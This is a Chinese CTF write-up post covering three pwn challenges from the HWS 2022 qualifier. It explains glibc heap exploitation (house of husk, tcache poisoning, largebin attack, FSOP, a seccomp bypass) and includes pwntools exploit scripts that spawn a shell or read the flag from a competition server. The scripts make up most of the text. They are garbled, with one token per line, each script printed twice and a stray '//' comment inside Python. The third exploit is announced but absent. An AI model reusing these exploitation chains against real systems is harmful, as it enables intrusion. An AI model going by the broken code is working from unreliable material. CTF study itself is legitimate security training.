-
-
[原创]HWS 2022线上预选赛pwn writeup
-
发表于: 2022-1-26 18:57 9058
-
(这题名字就叫送分题)
题目环境2.27
有一次unsortbin attack的机会,而且贴心的帮你泄露出了libc地址
可以通过打global_max_fast,将fastbin的范围扩大,
结合可以分配两个大小很大的chunk,容易想到house of husk覆盖格式化字符串处理函数为onegadget,
但也可以打IO_FILE结构体来做
这里选择用前者
house of husk的详细原理
exp:
堆菜单题
开启了seccomp沙盒机制
另外三个分别是fork,vfork,rt_sigreturn调用
add
dele
show
一次性的edit?
显然这里的edit函数没有按照堆块的应有size来修改堆块
存在一个堆溢出漏洞
很容易想到去修改tcache chunk的fd指针来分配free_hook处的内存
主要困难在于泄露libc地址
但是在赛事群里讨论了一下发现这题的解法很多
因为题目给的edit函数在取堆块时还存在一个索引越界问题
这时候就有了一些奇怪的操作空间
目前主要有两种流派的解法:
其中第二种流派里目前已知有两个解法
我在比赛的时候选了第二种流派中的一个解法
希望有大佬教教我正常解法是怎么搞的
以下是我的解法:
注意到在bss段的上方有一个特殊的数据,一个指向自身的指针
即上图的off_202008
并且下方有一个menu字符串指针和edit_flag, 如果可以将这里视为一个chunk来编辑修改,不仅可以在保证一次性的edit函数依然可以使用,
还可以通过局部修改menu字符串来指向程序中含有libc地址的地方来泄露libc地址
并且off_202008+0x18位置是stdin指针,可以满足edit函数的check
但是经过测试,这个字符串地址与含libc地址的地方有3位的偏差,需要爆破3位
(实际上在本地中这个爆破的效率很高,大概只需要几秒就可以成功)
泄露完成后就是一般orw读flag了
exp
听到群友的另一种方法是,因为程序在开头把flag读入,并且给出了栈地址的低位
同时这个栈地址存储在了bss段,所以可以以其为一个假chunk,来修改栈,将arg[0]覆盖为flag的指针,然后让程序报错打出flag
这道题比赛中没有做出来,今天复现了一下
题目环境2.29
开启seccomp沙盒
漏洞是一个非常明显的UAF
只能用16次的add,并且使用calloc分配内存,
同时自己做了分配出来的chunk的size字段的检查
dele,存在UAF
show
后门函数
高版本又UAF,那铁是搞largebin attack了
后门函数可以让我们对堆中0xa000偏移以内的含地址或为0的内存写一个值
所以可以依靠这个修改chunk的bk_nextsize来打_IO_list_all
现在问题就在于怎么去凑出两个大小相近的大堆块了
程序提供了三种大小的chunk: 0x20,0x110,0x410
实测,如果先free填满tcache再合并去做堆布局,次数大概会超一两次
我则是用另外两次后门重新利用了进入tcache的chunk
去修改相邻两个已经进入tcache的chunk的key,再free他们,则可以合并出一个0x820的堆块1
再去free两个0x410的相邻堆块2,之后分配一次0x20的chunk,让tcache内的0x820大小堆块进入largebin,并分割堆块2为0x800大小,
注意这里free两个0x410的相邻堆块得到较小的堆块2前需要提前布置好利用链
然后使用后门,修改堆块1的bk_nextsize
最后再分配一次0x410大小的chunk,完成largebin attack
2.29的libc有以下特点:
对于第一点我们可以先寻找控制rdx的方法
在2.29中的getkeyserv_handle+576位置,有这样一个gadget
可以达到控制rdx的目的然后再setcontext
其次是绕过vtable_check
vtable check的详细过程和一般绕过方法
这里的利用是根据这位大佬的博客
FSOP在glibc2.29中的利用
利用的详细见exp
题目禁用了open系统调用,但是没有对程序架构做限制,相同的调用号在32位和64位架构下意义不同,所以可以依靠这一点进行绕过.
exp:
from
pwn
import
*
sh
=
process(
"./pwn"
)
# sh = remote("1.13.162.249",10001)
context.log_level
=
'debug'
sh.sendlineafter(
"big box, what size?\n"
,
str
(
0x1850
))
/
/
计算得出
sh.sendlineafter(
"bigger box, what size?\n"
,
str
(
0x9420
))
sh.sendlineafter(
"rename?(y/n)\n"
,
'y'
)
# gdb.attach(sh)
libc_base
=
u64(sh.recvuntil(b
'\x7f'
)[
-
6
:].ljust(
8
,b
'\x00'
))
-
0x3ebca0
global_max_fast
=
libc_base
+
0x3ed940
success(
hex
(libc_base))
success(
hex
(global_max_fast))
sh.sendafter(
"new name!\n"
,b
'/bin/sh\x00'
+
p64(global_max_fast
-
0x10
))
sh.sendlineafter(
"(1:big/2:bigger)\n"
,
'1'
)
one_gadget
=
0x10a45c
+
libc_base
sh.send(b
'a'
*
((
ord
(
's'
)
-
2
)
*
8
)
+
p64(one_gadget))
sh.interactive()
from
pwn
import
*
sh
=
process(
"./pwn"
)
# sh = remote("1.13.162.249",10001)
context.log_level
=
'debug'
sh.sendlineafter(
"big box, what size?\n"
,
str
(
0x1850
))
/
/
计算得出
sh.sendlineafter(
"bigger box, what size?\n"
,
str
(
0x9420
))
sh.sendlineafter(
"rename?(y/n)\n"
,
'y'
)
# gdb.attach(sh)
libc_base
=
u64(sh.recvuntil(b
'\x7f'
)[
-
6
:].ljust(
8
,b
'\x00'
))
-
0x3ebca0
global_max_fast
=
libc_base
+
0x3ed940
success(
hex
(libc_base))
success(
hex
(global_max_fast))
sh.sendafter(
"new name!\n"
,b
'/bin/sh\x00'
+
p64(global_max_fast
-
0x10
))
sh.sendlineafter(
"(1:big/2:bigger)\n"
,
'1'
)
one_gadget
=
0x10a45c
+
libc_base
sh.send(b
'a'
*
((
ord
(
's'
)
-
2
)
*
8
)
+
p64(one_gadget))
sh.interactive()
struct peach
{
char name[
16
];
_QWORD ptr;
_QWORD chk_size;
/
/
hidword的值作为标识堆块可用的标志
};
struct peach
{
char name[
16
];
_QWORD ptr;
_QWORD chk_size;
/
/
hidword的值作为标识堆块可用的标志
};
from
pwn
import
*
# sh = process("./peachw")
elf
=
ELF(
'./peachw'
)
# context.log_level = 'debug'
context.arch
=
'amd64'
def
add(idx,name,size,content):
sh.sendafter(b
"Your choice: "
,b
'\x01'
)
sh.sendafter(b
"Index ? "
,
str
(idx).encode(
'utf-8'
))
sh.sendafter(b
"name your peach : \n"
,name)
sh.sendafter(b
"size of your peach:\n"
,
str
(size).encode(
'utf-8'
))
sh.sendafter(b
"descripe your peach :\n"
,content)
return
def
dele(idx):
sh.sendafter(b
"Your choice: "
,b
'\x02'
)
sh.sendafter(b
"Index ?\n"
,
str
(idx).encode(
'utf-8'
))
return
def
edit(idx,size,content):
sh.sendafter(b
"Your choice: "
,b
'\x04'
)
sh.sendafter(b
"Index ? "
,
str
(idx).encode(
'utf-8'
))
sh.sendafter(b
"new size of your peach : \n"
,size.to_bytes(
4
,
'little'
))
sh.sendafter(b
"draw your peach \n"
,content)
return
def
show(idx,num):
sh.sendafter(
"Your choice: "
,b
'\x03'
)
sh.sendafter(
"Index ? "
,
str
(idx).encode(
'utf-8'
))
sh.sendafter(
"lucky number?\n"
,
str
(num).encode(
'utf-8'
))
return
def
pwn():
sh.sendafter(b
"like peach?\n"
,b
'yes'
)
payload
=
p64(
0xdeadbeef
)
payload
+
=
p64(
1
)
payload
+
=
b
'\x20\x20\x20'
edit(
-
0x2f
,
0x100
,payload)
sh.recvline()
libc_base
=
u64(sh.recvuntil(b
'\x7f'
)[
-
6
:].ljust(
8
,b
'\x00'
))
-
0x3db720
success(
hex
(libc_base))
libc
=
ELF(
'./libc/libc-2.26.so'
)
free_hook
=
libc_base
+
libc.sym[
'__free_hook'
]
setcontext
=
libc_base
+
libc.sym[
'setcontext'
]
mprotect
=
libc_base
+
libc.sym[
'mprotect'
]
read_addr
=
libc_base
+
libc.sym[
'read'
]
add(
0
,
'fxxku'
,
0x208
,
"nothing"
)
#0
add(
1
,
'fxxku'
,
0x208
,
"nothing"
)
#1
add(
2
,
'fxxku'
,
0x208
,
"nothing"
)
#2
dele(
1
)
payload
=
b
'a'
*
0x20
payload
+
=
p64(
0
)
payload
+
=
p64(
0x211
)
payload
+
=
b
'a'
*
0x200
payload
+
=
p64(
0
)
payload
+
=
p64(
0x31
)
payload
+
=
p64(
0
)
payload
+
=
b
'a'
*
0x18
payload
+
=
p64(
0x0
)
payload
+
=
p64(
0x211
)
payload
+
=
p64(free_hook)
edit(
0
,
0x420
,payload)
add(
1
,
'fxxku'
,
0x208
,
"nothing"
)
#1
poprdi
=
libc_base
+
0x0000000000020b8b
poprsi
=
libc_base
+
0x0000000000020a0b
poprdx
=
libc_base
+
0x0000000000001b96
payload
=
p64(setcontext
+
53
)
payload
+
=
p64(
0
)
*
12
payload
+
=
p64(libc_base)
#rdi
payload
+
=
p64(
0x1000
)
#rsi
payload
+
=
p64(
0
)
#rbp
payload
+
=
p64(
0
)
#rbx
payload
+
=
p64(
7
)
#rdx
payload
+
=
p64(
0
)
#
payload
+
=
p64(
0x89
)
#rcx
payload
+
=
p64(free_hook
+
0xc8
)
#rsp
payload
+
=
p64(mprotect)
#restore rip
payload
+
=
p64(
0
)
*
3
payload
+
=
p64(poprdi)
payload
+
=
p64(
0
)
payload
+
=
p64(poprsi)
payload
+
=
p64(libc_base)
# payload += p64(0xdeadbeef)
payload
+
=
p64(poprdx)
payload
+
=
p64(
0x100
)
payload
+
=
p64(read_addr)
payload
+
=
p64(libc_base)
add(
3
,
'fxxku'
,
0x208
,payload)
# 3
dele(
3
)
shellcode
=
shellcraft.
open
(
'./flag'
)
shellcode
+
=
shellcraft.read(
'rax'
,free_hook,
0x30
)
shellcode
+
=
shellcraft.write(
1
,free_hook,
0x40
)
sh.send(asm(shellcode))
while
True
:
try
:
# sh = process('./peachw')
sh
=
remote(
"1.13.162.249"
,
10003
)
pwn()
# gdb.attach(sh)
sh.recvuntil(b
'flag{'
)
flag
=
sh.recvuntil(b
"}"
,drop
=
True
)
break
except
Exception:
sh.close()
sleep(
0.1
)
print
(b
"flag{"
+
flag
+
b
"}"
)
sh.close()
from
pwn
import
*
# sh = process("./peachw")
elf
=
ELF(
'./peachw'
)
# context.log_level = 'debug'
context.arch
=
'amd64'
def
add(idx,name,size,content):
sh.sendafter(b
"Your choice: "
,b
'\x01'
)
sh.sendafter(b
"Index ? "
,
str
(idx).encode(
'utf-8'
))
sh.sendafter(b
"name your peach : \n"
,name)
sh.sendafter(b
"size of your peach:\n"
,
str
(size).encode(
'utf-8'
))
sh.sendafter(b
"descripe your peach :\n"
,content)
return
def
dele(idx):
sh.sendafter(b
"Your choice: "
,b
'\x02'
)
sh.sendafter(b
"Index ?\n"
,
str
(idx).encode(
'utf-8'
))
return
def
edit(idx,size,content):
sh.sendafter(b
"Your choice: "
,b
'\x04'
)
sh.sendafter(b
"Index ? "
,
str
(idx).encode(
'utf-8'
))
sh.sendafter(b
"new size of your peach : \n"
,size.to_bytes(
4
,
'little'
))
sh.sendafter(b
"draw your peach \n"
,content)
return
def
show(idx,num):
sh.sendafter(
"Your choice: "
,b
'\x03'
)
sh.sendafter(
"Index ? "
,
str
(idx).encode(
'utf-8'
))
sh.sendafter(
"lucky number?\n"
,
str
(num).encode(
'utf-8'
))
return
def
pwn():
sh.sendafter(b
"like peach?\n"
,b
'yes'
)
payload
=
p64(
0xdeadbeef
)
payload
+
=
p64(
1
)
payload
+
=
b
'\x20\x20\x20'
edit(
-
0x2f
,
0x100
,payload)
sh.recvline()
libc_base
=
u64(sh.recvuntil(b
'\x7f'
)[
-
6
:].ljust(
8
,b
'\x00'
))
-
0x3db720
success(
hex
(libc_base))
libc
=
ELF(
'./libc/libc-2.26.so'
)
free_hook
=
libc_base
+
libc.sym[
'__free_hook'
]
setcontext
=
libc_base
+
libc.sym[
'setcontext'
]
mprotect
=
libc_base
+
libc.sym[
'mprotect'
]
read_addr
=
libc_base
+
libc.sym[
'read'
]
add(
0
,
'fxxku'
,
0x208
,
"nothing"
)
#0
add(
1
,
'fxxku'
,
0x208
,
"nothing"
)
#1
add(
2
,
'fxxku'
,
0x208
,
"nothing"
)
#2
dele(
1
)
payload
=
b
'a'
*
0x20
payload
+
=
p64(
0
)
payload
+
=
p64(
0x211
)
payload
+
=
b
'a'
*
0x200
payload
+
=
p64(
0
)
payload
+
=
p64(
0x31
)
payload
+
=
p64(
0
)
payload
+
=
b
'a'
*
0x18
payload
+
=
p64(
0x0
)
payload
+
=
p64(
0x211
)
payload
+
=
p64(free_hook)
edit(
0
,
0x420
,payload)
add(
1
,
'fxxku'
,
0x208
,
"nothing"
)
#1
poprdi
=
libc_base
+
0x0000000000020b8b
poprsi
=
libc_base
+
0x0000000000020a0b
poprdx
=
libc_base
+
0x0000000000001b96
payload
=
p64(setcontext
+
53
)
payload
+
=
p64(
0
)
*
12
payload
+
=
p64(libc_base)
#rdi
payload
+
=
p64(
0x1000
)
#rsi
payload
+
=
p64(
0
)
#rbp
payload
+
=
p64(
0
)
#rbx
payload
+
=
p64(
7
)
#rdx
payload
+
=
p64(
0
)
#
payload
+
=
p64(
0x89
)
#rcx
payload
+
=
p64(free_hook
+
0xc8
)
#rsp
payload
+
=
p64(mprotect)
#restore rip
payload
+
=
p64(
0
)
*
3
payload
+
=
p64(poprdi)
payload
+
=
p64(
0
)
payload
+
=
p64(poprsi)
payload
+
=
p64(libc_base)
# payload += p64(0xdeadbeef)
payload
+
=
p64(poprdx)
payload
+
=
p64(
0x100
)
payload
+
=
p64(read_addr)
payload
+
=
p64(libc_base)
add(
3
,
'fxxku'
,
0x208
,payload)
# 3
dele(
3
)
shellcode
=
shellcraft.
open
(
'./flag'
)
shellcode
+
=
shellcraft.read(
'rax'
,free_hook,
0x30
)
shellcode
+
=
shellcraft.write(
1
,free_hook,
0x40
)
sh.send(asm(shellcode))
while
True
:
try
:
# sh = process('./peachw')
sh
=
remote(
"1.13.162.249"
,
10003
)
pwn()
# gdb.attach(sh)
sh.recvuntil(b
'flag{'
)
flag
=
sh.recvuntil(b
"}"
,drop
=
True
)
break
except
Exception:
sh.close()
sleep(
0.1
)
print
(b
"flag{"
+
flag
+
b
"}"
)